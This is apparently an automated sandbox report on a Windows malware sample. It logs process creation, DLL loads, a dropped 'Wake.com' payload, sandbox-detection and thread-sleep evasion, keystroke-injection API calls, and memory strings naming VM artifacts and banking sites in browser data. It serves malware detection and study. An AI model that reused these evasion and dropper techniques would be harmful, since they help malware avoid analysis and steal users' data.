Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6936 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7248 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7184 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:8

Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\jPKFh06jHI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: jPKFh06jHI.exe

Static file information: File size 1122194 > 1048576

Source: C:\Users\user\Desktop\jPKFh06jHI.exe

Code function: 0_2_00405BA9 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405BA9

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D20DE6 push ecx; ret

12_2_00D20DF9

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D926DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		12_2_00D926DD
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D1FC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		12_2_00D1FC7C

Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_12-105086

Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Window / User API: threadDelayed 2728			Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Window / User API: threadDelayed 868			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

API coverage: 3.7 %

Source: C:\Users\user\Desktop\jPKFh06jHI.exe TID: 6884	Thread sleep time: -171864s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\jPKFh06jHI.exe TID: 6884	Thread sleep time: -54684s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Code function: 0_2_00405B82 FindFirstFileW,FindClose,	0_2_00405B82
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Code function: 0_2_00406543 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406543
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D6DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00D6DC54
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D7A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00D7A087
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D7A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00D7A1E2
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D6E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	12_2_00D6E472
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D7A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	12_2_00D7A570
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D766DC FindFirstFileW,FindNextFileW,FindClose,	12_2_00D766DC
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D3C622 FindFirstFileExW,	12_2_00D3C622
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D773D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	12_2_00D773D4
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D77333 FindFirstFileW,FindClose,	12_2_00D77333
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D6D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00D6D921

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D05FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

12_2_00D05FC8

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\714380	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\714380\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: chrome.exe, 00000010.00000002.1337056073.00000267151A6000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service
Source: Web Data.28.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXT64VMWare
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: Amcache.hve.12.dr	Binary or memory string: vmci.sys
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V frbuikavxvbradr Bus Pipes
Source: Wake.com, 0000000C.00000002.2165101677.000000000122F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\9
Source: Web Data.28.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: Web Data.28.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
